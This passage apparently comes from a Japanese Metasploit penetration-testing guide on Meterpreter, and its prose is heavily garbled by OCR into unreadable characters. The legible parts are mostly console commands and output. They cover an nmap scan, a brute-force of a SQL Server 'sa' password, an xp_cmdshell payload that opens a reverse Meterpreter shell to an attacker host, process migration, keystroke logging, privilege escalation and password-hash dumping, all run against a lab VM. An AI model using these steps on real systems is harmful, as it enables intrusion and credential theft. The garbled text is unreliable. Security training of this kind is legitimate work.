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Meterpreter

KETIZ, Z7ATOAL MDY =7 v b=y Y DREEZHHIZL TL NS Meterpreter % f84
9 %o Meterpreter i3 Metasploit® ¥ 3 KR— % Y FD1DT, gttt =7 A7uf ML72dH
EORAu—FELTHHEING, Rfu—F&id, 272704 MR L7-HEICETEIND
I—FDZETHb, 72& 21X, RPC (Remote Procedure Call) O Jgg5tk% =2 27w 1 b L,
Meterpreter # XA 0 — K& L GRIRLASA. SO 2704 MK T 5L, 2D AT 2125
3 % Meterpreter ® > = VASFIH W FEIZ % 5o D Meterpreter 3 = )V _F T Metasploit D #EfE % -0
M ZETY =Ty Iy rDEL%5EEEZITH) T LN TE S, Meterpreter 25 FIH T X 2 g
IZiE BAOREHZ BT HER, AEVICEH T2 SAT =My a0y v 72557
. OSHL D ~NT 72 AT A HERENEGEEN TS, LLFTIX. £9 MetasploitZFIH L., —
el 7 BT 5T Windows XPA Y A M=V ENZY Y Y 2 RET 2. ZOBE, "M u—FELT
Meterpreter #FIHH L. ¥ —% v b Y V2 E5I2BELTW HEEHPIT 5,

6.1 Windows XPYYV0DEE

Meterpreter DB HEY TP B RIS, FT1E5—7 v b= ¥ v 2L L, Meterpreter ¥ = )L %
MTEBIREIZT L UENH D,

6.1.1 NmapIlC&LdRK—bAFv+>

KDOELHIZ, nmap TR—IMAF X VEETLTC, F—=F Yy bV TEEL TV LT —ERARZED
K-S EZRIL. BACHHTE L) ZALZROF2L 256005015,

msf > nmap -sS -A -PO 192.168.33.130 @

[*] exec: nmap -sS -A -PO 192.168.33.130
Starting Nmap 5.51SVN ( http://nmap.org ) at 2012-03-01 14:06 JST

T ERE  RTEOWBHN RO~ Y VI ERAR S EITHE L 2.
T OEESE  EETIR-sT7I972FMLTAF Y Y LTWAEY, BREOBEETIZ) TLEMEL ad o 2728, -sS
757 %FMLTAF Y V%1190
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PORT STATE SERVICE VERSION
7/tcp open echo

9/tcp open discard?

13/tcp open daytime?

17/tcp open gotd Windows gotd

19/tcp open chargen

21/tcp open ftp Microsoft ftpd @

| ftp-anon: Anonymous FTP login allowed (FTP code 230)
25/tcp open smtp Microsoft ESMTP 6.0.2600.2180 ©

| smtp-commands: ihazsecurity Hello [192.168.33.1], SIZE 2097152, PIPELINING,
DSN, ENHANCEDSTATUSCODES, 8bitmime, BINARYMIME, CHUNKING, VRFY, OK

| This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET
MAIL QUIT HELP AUTH BDAT VRFY

80/tcp open http Microsoft IIS httpd 5.1 @

|_http-title: Metasploit Sample Web Attack Site

| http-methods: Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK
DELETE PUT MOVE MKCOL PROPPATCH

| See http://nmap.org/nsedoc/scripts/http-methods.html

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcp open https?

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

1025/tcp open msrpc Microsoft Windows RPC
1433/tcp open ms-sgl-s Microsoft SQL Server 2005 9.00.1399.00; RTM @
... FPEE ..

MAC Address: 00:0C:29:EE:C9:AF (VMware)

Device type: general purpose

Running: Microsoft Windows XP|2003

0S details: Microsoft Windows XP Professional SP2 @ or Windows Server 2003

.. L
Nmap done: 1 IP address (1 host up) scanned in 137.34 seconds

QO CTER—MAF ¥ U %2FEFT5HE, Microsoft SQL Server 7 ENDOBEIZFHTE LW D H 5
BHOR— BT 7AW REE DD 5720, D nmap DETHROP TIHIZEKEVDIE, 0
~ ¥ v HWindows XP SP2 TEIfi: L T % L\ ) M TH 20,

i, 2O YU TRAR SN TOAIETEEO B ILE S Tuiwnd, b LLIESPID A >~
AP= Lo TGHHENL Sy FRELEBTON TR WITREERD L. 2F0), ZOY AT A
HICRECTEZWRESH LI LEZEKRL TS,

F7:FTPO L SMTPODIEHD KR — ;A — 7> LTS EICBEH LTIEL Vv, INHDHE—
PODRETEZ WL DS, SHITK-1800dF -7 LTHBY, HBIZFHTESL Web T 7
V7 —2avB I HELELTWAHRMELEDHLZ L ERLTWAS,
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6.1.2 Microsoft SQL Server ~DIE

Z 2Tl R— M 1433 THET 5 Microsoft SQL Server IZ4) L THEZ1TH. LW ) D, Wl
SQL Server i3 WHER CTEIEL TV B 2 D%, S22 RFETLIET, ¥—7 v bV AT A4k
DREL, EHELVNVOMEROTAHI OB RMDNH 570 TH 5,

wAIZSQL Server 4 Y A h—IVENTWA I L ZREF L. RIZSQL Server l2xf LT 7V —k
T d — AWEA AT, HEESAT — FORSEZRAA 5,

SQL Serverld7 7 # )b s Tl&, TCPAR— 1433 £ UDP A — h 1434 % FH L CEIET 205, #Hi L
W= 3 D SQL Server TIZBIZAR — b 2B B TEH I LA RERZD, T 74V MEld#E S
A= PFCEHEL TR WA D S, ZOWEIE. TR —11434/UDPIZT 7 €A L, BIIICEIY
BTCONTR - IMEZEZBEDELIENTE 5,

FFTIDOYAT ALK LTUDPAF ¥ ¥ %9247 L. SQL Server 23fi 9 UDP AR — h 1434534 — 7
VLTV AP EMERT 5.

msf > nmap -sU 192.168.33.130 -p 1434 @

[*] exec: nmap -sU 192.168.33.130 -p 1434

Starting Nmap 5.51SVN ( http://nmap.org ) at 2012-03-03 22:39 JST

Nmap scan report for 192.168.33.130

Host is up (0.00032s latency).

PORT STATE SERVICE

1434/udp open|filtered ms-sql-m @

MAC Address: 00:0C:29:EE:C9:AF (VMware)

OCTHRALZAF Y VY LI2#R, UDPR— M43 F =TV LT DB L A TE -0 (113,
13%, 17 % CMicrosoft SQL Server iZ2W T E SIZFELLBHHT %),

% — 77w A3 Microsoft SQL Server ® 354 13, Metasploit Framework ®mssql pingE ¥ 2 —
IV EFIH L TSQL Server 2SBIHYICE DR 5 R — 5 SQL Server /3N — ¥ 3 ¥ 57 EO1EH
EGTHIENTE %,

RO Y FEIFHITIE, mssql_pingEY 22— V&2 WT, HEDR Y b — 7 N THIEL
TWwASQL Server 51 L, TOEHAIAFLTW5,

msf > use scanner/mssql/mssql_ping
msf auxiliary(mssqgl ping) > show options

Module options (auxiliary/scanner/mssql/mssqgl ping) :

Name Current Setting Required Description

PASSWORD no The password for the specified
username

RHOSTS yes The target address range or
CIDR identifier

THREADS 1 yes The number of concurrent
threads

USERNAME sa no The username to authenticate as

USE_WINDOWS_AUTHENT false yes Use windows authentification
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msf auxiliary(mssgl ping) > set RHOSTS 192.168.33.1/24
RHOSTS => 192.168.33.1/24

msf auxiliary(mssql ping) > set THREADS 20

THREADS => 20

msf auxiliary(mssql ping) > exploit

] Scanned 039 of 256 hosts (015% complete)
] Scanned 059 of 256 hosts (023% complete)
] Scanned 079 of 256 hosts (030% complete)
] Scanned 119 of 256 hosts (046% complete)
] SQL Server information for 192.168.33.130: @
] ServerName = IHAZSECURITY @
+] InstanceName = SQLEXPRESS

+] IsClustered = No

+] Version = 9.00.1399.06 ©
1

]

]

]

]

1

]

1

]

*
*
*
*
*
+

+ tcp = 1433 @

np = ¥¥IHAZSECURITY¥pipe¥MSSQLSSQLEXPRESS¥sqgl¥query
Scanned 132 of 256 hosts (051% complete)
Scanned 154 of 256 hosts (060% complete)
Scanned 180 of 256 hosts (070% complete)
Scanned 211 of 256 hosts (082% complete)
Scanned 239 of 256 hosts (093% complete)
Scanned 256 of 256 hosts (100% complete)

n
*
*
*
*
*
*
*] Auxiliary module execution completed

Metasploit Framework ® 2~V — )V h b mssql pingEYVa—Va#IRL, + 7 a v ezl
TEATT AL, 192.168.33.13012SQL Server 254 Y A b=V ENTWEI DDA 5@, F/-H—
IN—DFHINE IHAZSECURITY TH N @, /N — 5 2 9.00.1399.06@QTH 5 Z & h3bh b, N—TV 3V
9.00.1399.06 1X SQL Server 2005 Express # B L T\ 5, E512@7°5H. 2D SQL Server i3 TCP
A= P1433ZHH LT 5DD b5,

6.1.3 Microsoft SQL Server~®JIb— kT #—2R

W12 Metasploit Framework ®@mssgl _login €y 2 — NV TZ DY —N—|ZT )V — T 5 — A% AL
B, BHEET AT VM sa®DIAT — FORA %2179 . Microsoft SQL Server (&I DA ¥ A h—
WHFIZsa, DENEHRBEOT T VM RET S LIICERT S, SQL Server DEFHZ ¥ 2
TALHEVF LRV E, SO T = N2 L7z HOIHENT 22T — P2 E L
TLEI,

ZDD, TV— b7+ — AR EEAINT LI LT, CDsaT ATV FONRAT = FBRBTES
BB,

msf auxiliary(mssgl ping) > use scanner/mssql/mssql login (1)
msf auxiliary(mssgl login) > show options

Module options (auxiliary/scanner/mssql/mssql login) :

T EEEFE  BRFB 0B Cldwordlist.txt I21Z passwordl23 O LFEFDE TN TV o 72720, FB Twordlist.
txtiZpasswordl23 B L TH LI~ ¥ FE2FEIT L7,
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Name Current Setting Required Description

BLANK_PASSWORDS true no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5

PASSWORD no A specific password to authenticate
with

PASS FILE no File containing passwords, one per
line

RHOSTS yes The target address range or CIDR
identifier

RPORT 1433 yes The target port

STOP_ON_SUCCESS false yes Stop guessing when a credential
works for a host

THREADS 1 yes The number of concurrent threads

USERNAME sa no A specific username to authenticate
as

USERPASS FILE no File containing users and passwords
separated by space, one pair per
line

USER_AS_PASS true no Try the username as the password
for all users

USER_FILE no File containing usernames, one per
line

USE_WINDOWS_AUTHENT false yes Use windows authentification

VERBOSE true yes Whether to print output for all
attempts

msf auxiliary(mssqgl login) > set PASS FILE /pentest/exploits/fasttrack/bin/dict/
wordlist.txt @

PASS FILE => /pentest/exploits/fasttrack/bin/dict/wordlist.txt

msf auxiliary(mssqgl login) > set RHOSTS 192.168.33.130

RHOSTS => 192.168.33.130

msf auxiliary(mssqgl login) > set THREADS 10

THREADS => 10

msf auxiliary(mssql login) > set VERBOSE false

VERBOSE => false

msf auxiliary(mssgl login) > exploit

[*] 192.168.33.130:1433 - MSSQL - Starting authentication scanner.

[+] 192.168.33.130:1433 - MSSQL - successful login 'sa' : 'passwordl23' ©
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

@ Cmssql loginEV a— VA EIRL, @THEFH 7 71 V& LTFast-Track®7 7 #+ b b8 A

T—FY X2 EL TS (FastTrack DWW TOFEMIZIIETHWT5) COETV2a—VEHE
TR, sa®/3 A7 — FaSpasswordl23 ThbH I L #fFETE720,

Fast-Trackld. ZEDEEHDO EDICKODTEREINICY—IL T, BHOKE. ITI R
. 704 b. ZU T Metasploit FrameworkZFA UTeX O— RDEEZSELELTL
WY N, Fast-Track DRE#OD1 DO, T)b— h T+ —R%{H> TMicrosoft SQL Server|C
BEIICHBELHNT. BREITDHEECTH D,
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6.1.4 xp_cmdshell

sa 7 v Mrb Microsoft SQL Server 252479 % &, xp_cmdshell A b7 K710 — 3 ¥ H3F)
MT&%, xp_cmdshellZSQL Server DV 7 b =7 & —#IZ4 Y A b=V ENLEN M YDA
7 R7E Y=Y % THY, SQL Server AL T, SQL Server #fEL T30S ETHHIZa~< »
F2ETTE D, ZOREZFNT ST, 2DSQL Server S L TV 5 0S ETIF & 2 L8
T2%. itz iud, I< Y FeHHICFETTELI~Y U/ FTO Y FhEMUZE T X5, SHIT
SQL Server 3 —#IZ Y AT AL NVOMRTETENTVRDL I ENL WD, saTh T ¥ FADT
7 AMERRZ N3 5 &, SQL Server &Y Y Y EDDDITEFHH L LTINVT 7 ATE L] fglk
Vb

ZZTIE, xp_cmdshell # A4 LT =% v by v EIZEFT 7 7 A VERORS 0 — FZ2EE L.,
F173 %, David Kennedy & Joshua Drake (jduck) #3EWK L 7zmssql payloadE ¥ = — VI,
xp_cmdshell Zffi> T &A% Metasploit D XA T —FTH Y —F7 v MV ENEETAHZ AT
&%,

msf > use windows/mssql/mssql payload @
msf exploit(mssqgl payload) > show options

Module options (exploit/windows/mssgl/mssql payload) :

Name Current Setting Required Description

METHOD cmd yes Which payload delivery method
to use (ps, cmd, or old)

PASSWORD no The password for the specified
username

RHOST yes The target address

RPORT 1433 yes The target port

USERNAME sa no The username to authenticate as

USE_WINDOWS_AUTHENT false yes Use windows authentification

Exploit target:

Id Name

0 Automatic
msf exploit (mssqgl payload) > set PAYLOAD windows/meterpreter/reverse tcp ©
PAYLOAD => windows/meterpreter/reverse tcp
msf exploit(mssqgl payload) > set LHOST 192.168.33.1
LHOST => 192.168.33.1
msf exploit(mssgl payload) > set LPORT 443
LPORT => 443
msf exploit(mssgl payload) > set RHOST 192.168.33.130
RHOST => 192.168.33.130
msf exploit(mssqgl payload) > set PASSWORD passwordl23
PASSWORD => passwordl23
msf exploit(mssql payload) > set METHOD old
METHOD => old
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msf exploit(mssqgl payload) > exploit
[*] Started reverse handler on 192.168.33.1:443
[*] Warning: This module will leave xDfJbbrf.exe in the SQL Server $TEMP%
directory
[*] Writing the debug.com loader to the disk...
[*] Converting the debug script to an executable...
[*] Uploading the payload, please be patient...
[*] Converting the encoded payload...
[*] Executing the payload...
[*] Sending stage (752128 bytes) to 192.168.33.130
[*] Meterpreter session 1 opened (192.168.33.1:443 -> 192.168.33.130:2259) at
2012-03-03 23:00:06 +0900
meterpreter > ©
@ CTmssql payload EVa2— VZEBEINL, @TNA O—F% meterpreter i Ci%ET 5. H LT
Meterpretert v ¥ 3 Y 2RO L ATICHEREF 72 3 V2 RET L7513 TI Ve ©TMeterpreter £ v
Y a Y ORIRIIEII L TWB 2 Edbhr b,
CCTHMLZZEBEELDDE, 9 nssql_pingE Y 2 — b ZFH L T, Microsoft SQL
Server WEIEL TV A — "= FH % IUE L, mssql_loginE ¥ a2 — V% fli 5 TSQL Server
DsaTHT Y PONAT—=FIIH LTI N =T+ — ARBEE T 572, TOFMR, sad/SAT—F
Aipasswordl23 Tdh 5 Z EAbh o7z, KiZmssql_payloadE ¥ 2 — L& 94T L, SQL Server
M xp_cmdshell 4 LT Meterpreter ¥ = V& ¥ — 7y b ¥ IZT7 v 70— FLFEFTHI LT,
Meterpreter Dt v ¥ =3 ¥ 5[l 241, Meterpreter ¥ = VAU TE 72,
PLEIWCEY, =7y by U ~NOBED K Y) L. Meterpreter Z FIH 3 % #fiii 258 5 720 T D
Meterpreter # FJH$HUE, ¥ —F v by 2 ES5ITREL TV ENTE S,

6.1.5 MeterpreterdBXIYV R

=y MRV VEREL, ¥y Y YDY AT LI Meterpreter {4 Y A=)V § 5T LW
TENIZE, Meterpreter DAY Y 2o TED Y AT LADERZIET LI ENTE S, 22T,
Meterpreter D3R 7% 2= > FIZOWTHB T %, Meterpreter Dffivy J5I2B8 9 5 15%ki%. help =
<YV NTBHT LI LNTEL,

6.1.5.1 ROU—-Yvav bORIE
Meterpreter ® screenshot AX Y Nid, 72774 7L —HF—DF A7 by Z7HEDAF v 7
Yay MUE L, /root T4 L 27 MUICRAET Bo

meterpreter > screenshot
Screenshot saved to: /root/vDbrgwfP.jpeg

FAZ by THMEDOXF v 7Fxid, F—=T Y VAT LAZMARBEDOTTETH 5D, 728 21K 6-1T
3. McAfee 7V F 7 A NVAV TEDA VA=V EN, FEITENTWLDON bbb, D72, TD
VAT AR Ty T O = FTBERICIE, ST U F ANV AHAL HIBEEN WL EEET
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le - Microsoft Internet Explorer

VD REE FTYW BRCOD@® U-LD AT

Om-O BEG L foow @3 238
TH/Z(D)@http//wwwgung\ecujp/ v B iy U
BF BE B HE a2 Lyl Cmal HorFD Y iGoogle | = I | BE Y 0542

Google

BRI A
EEY-IL

Google #35% | Im Feeling Lucky

EER#H  E¥FA Ma-—al GooglelZ20 T Google.com in English

@2012- I3 11— EFIFRR

@ 183k

X6-1 Meterpreterig->7=X 71— 3y b
BLEN DD (THETT Y FIANAY 7 FABIZOWTEFELL G T 5),

6.1.5.2 sysinfo
sysinfo < ¥ Fid, Meterpreter NEIELCTW5 7T v b7 4 — ADFERA TS TE S,

meterpreter > sysinfo

Computer : IHAZSECURITY

0s : Windows XP (Build 2600, Service Pack 2).
Architecture : x86

System Language : ja_JP

Meterpreter : x86/win32

FEHoBITIE, DY AF 13 Windows XP SP2 THIEL TWAZ L 25hH 5, SP2133TI22010
AETH13H CREERH) ICHR—F2RTLTWAED, TOYATFA FIZIEKEICEF 1) F 48—
W RONL EBETE D,

6.1.6 F¥—ZAPO—-I9DF+TF+
WIS, =9 b AT L BTN zF—FR—FOANEZIELTAL Y,
FFEps A YR TY —F Y PV AT ATEFTEINTWS 7O A—E2 ST 5,

meterpreter > ps @
Process list
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PID Name Arch Session User Path
0 [System Process]
4 System x86 0 NT AUTHORITY¥SYSTEM
R ..
1528 spoolsv.exe x86 0 NT AUTHORITY¥SYSTEM C:¥WINDOWS¥system32
¥spoolsv.exe
1796 explorer.exe @ x86 0 IHAZSECURITY¥bob C:¥WINDOWS¥Explorer.
EXE
PR
3972 dllhost.exe x86 0 NT AUTHORITY¥SYSTEM C:¥WINDOWS¥system32¥
dllhost.exe
4040 conime.exe x86 0 THAZSECURITY¥bob C:¥WINDOWS¥system32¥

conime.exe
meterpreter > migrate 1796 ©
[*] Migrating to 1796...
[*] Migration completed successfully.
meterpreter > run post/windows/capture/keylog recorder @
[*] Executing module against IHAZSECURITY
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/loot/20120303230327 default 192.168.
33.130_host.windows.key 704741.txt
[*] Recording keystrokes...
*C[*] Saving last few keystrokes...
[*] Interrupt
[*] Stopping keystroke sniffer...
meterpreter > exit
[*] Shutting down Meterpreter...
[*] Meterpreter session 1 closed. Reason: User exit
msf>cat /root/.msf4/loot/20120303230327 default 192.168.33.130_host.windows.
key 704741.txt
[*] exec: cat /root/.msf4/loot/20120303230327 default 192.168.33.130 host.
windows.key 704741.txt ©
Keystroke log started at 2012-03-03 23:03:27 +0900
administrator password <Back> <Back> <Back> <Back> <Back> <Back> <Back> <Tab>
passwordl23!!

QDX HICpsa~ Y FEFETT DL, explorerexe@% HHFEFTTOT XL AD—ENIETE
%, @ Tmigrate Iv ¥ K& 94T L. Meterpreter Dt v ¥ 3 » % explorer.exe ® 7 1t A 22~ &
BT 5. ZOBITDET L7256, @Tkeylog recorder €V a—VERIAL, LIS D, —
ERFFREH L7256 Ctrl+ CHF—CTHF—uh— 21§ 50 RUELEF—ANONEFEITFAL 774
WIZRAEENDDT, I 12DF—3IF VT4 Y FIERBL, COTFAMT 7 A MhLF -0l —
PP L72NBE R T 50O, F—0F 0 ZHIZL—F =ML 5D A T —Rae AJJ LTzl
By ZOTFART 7 ANVOHRIZZDONRAT — FOMAEETN T LW REIENDH %,
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6.2 A—Y—RENRADT—RDFVT

ToOBITIE, 2= —DF - ANELERTH T EITL > TIAT — FEHUS L7z, Meterpreter ©
Z. =N T ANV AT A LD ==L ENAT =Ny Y aBR{EINT T — 7 RXR—= 22K
BT AL, TENLEUETE S,

6.2.1 IXAT—FRI\v Y10t

KOBITIX, Meterpreter ® hashdump RA L7 2704 hEV2—VEFHL, ¥—7 v~
VUMHI—H B ENRAT — Ny Y a kit T %, MicrosoftidiliHE /XA T — KNy ¥ 2% LAN
Manager (LM). NT LAN Manager (NTLM). NT LAN Manager v2 (NTLMv2) X CHE L Tw
5o

72 ZIXIM O G T—F =MD TNAT—FEANTLHLE, HDHVIEI/SAT - FEEH T
L E NAT=FIINAY ValiBEH) R TOND, NAT—FORSIZE TR, 7SAT—Fid
TXFZTEDNY V25 EEND, 728 21782 T — FhSpassword123456 TH LA /Ny ¥ 2l
1 passwor & d123456 & L TZNZNRE SN LD T, LBE I UL TO/NNAT = FTEAL, 7X
FONRAT =227 Ty 7 FHUINRAT = FHPNRFTETLE Do —F NTLM TIZ/3 A7 — F
DEZIHhH D 5T, password123456 1% password123456 DNy ¥ 2 ffi b L THRE SIS,

CCCRRRENLFBECE ISy I TERL, IERBICEMT/(RT—RZAVTVD,
BLADINAT—=RELMAYR— T2 ES14XFRIDDHRVCH. BEHICNTLM
N=RADN\Y Y AENETREND, VA YR—=FT—=TILPBENEISvF 2 ITY
VEHOCLTH INBD/RD— ROEFGICIFEBLFK-ONDSIED D,

TIRL T DI, UID 500 (Windows & HE#H DY 27 477 + )V ) ¢ Administrator L —4 —
DI—HF—[ENRAT— RNy ¥ 2Thb, Adninistrator:500ZHi < L4 i%. Administrator
I—F—DINAT=FD22DNy ¥ 25 TH 5o

Administrator:500: @e52cac67419a9a22cbb699e2fdfcc59e : @30ef086423f916deec378aac
42c4eflc :::

OOy YV afHIZLM /Y ¥ 2 THY), @Dy ¥ 2fHIZNTLM /vy ¥ 2 Th 5,

6.2.2 INRAT=KRN\v2aDFVT

% —7"y b= ¥ T, Administrator ®/% 277 — % thisisacrazylongpassword&&!!@@## » X 9
LHMER D DIZEZ, Meterpreter 2o Ty =7y MY U b L—HF—FENAT -y ok
T TLTHREI.

Windows DL —HF—ZENRAT = 2 ELEF 2 TATHT YA =T ¥ (SAM) OF — 5 X—
A% T T HITE VYA M) R Z B L 2RISR SR, Z078, SYSTEMMERRTY > 7
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A ONLENH D, T Tlduse privk getsystemZ A LT, meterpreter XNEEL TV 5

7t ZADOMHERZ SYSTEM MR £ T T, Bl ——7 A7 ¥ b LTHRIEZ T o T %o
ROFEFFHID L H 2, WL —HF—7 4% > FThashdump 2<% ¥ F&9E4T$THZ LT, Y AT A

LOFTRTOL—F =L ENAT =Ny 22 HTE S,

meterpreter > use priv

[-] The 'priv' extension has already been loaded.

meterpreter > getsystem

...got system (via technique 1).

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 2£12239d33576e2dc831bdc350b40ea4. . .
[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac3

6Cc29:::

aad3b435 THEE Ay Y aflild, ZFRE XNy Y afli, 2N BOLF 2 ET T L —AF
V¥ TdhA (Administrator:500:NOPASSWD:ntlnhash® X H b DH XNV TH5B), HIFEEH
L7227 —FIZ 4L F LD R0, WindowslZLM /vy ¥ 2 123§ 2 2 LA TE v, &
D7z, FEHED aad3ba3s - LTH) DFNEDNAT = REEET 50y Y afliz LMy ¥ 20
P& L T,

LM/\v < 1 DRGEE

CCTRABELT, ROZLEEZRALTHL Do SAT—FE UL TLTOTE B7213 8k %
bOIEEL, TNIREFHTELDEAL TAD,

FINRT = FEEAE LD, hashdump Z o TI AT ANHNNAT =y Yozl L.,
WDy ¥ 2l GEDOBID aad3bads Tl E Ay ¥ 1AM SN TV B EHT), 2F 1) LM
Ny TaDEE, WEICHEF VI L DNAT =R T h =94 MIEET . Fofio T,
[(EH] Ry C2BRMTE, NAT=FB7 5y 78305 (ZN5HHA M TR, AP TA
BENTLE) WEMENRD B720, HODODELDNZT — FidflibanEHEELE) ), &
NEVUA VR=FT =T IWVHBLIER, LA Y R—=F =7V, Bi5 b Eniny ¥ 2B <
7O, FENEHR ENI2T =TV TH Y, BESAT—FD7 Ty 7IZHwbNL, LA VK-
F—TNEIDST, an bz kI T, AN— 2R (EAXT) 2 &80T RTOLTOMME
bLEEHHT S, Ny Y aflizd 540759 —DF A4 bNERETHE, OV A hoH—
W=DV A YV R=T—=TNVEREL, AT —=F%27Fv 7 L TIN5,

i} BT LMy v a OB, R3S AT — FRIZ14 307,



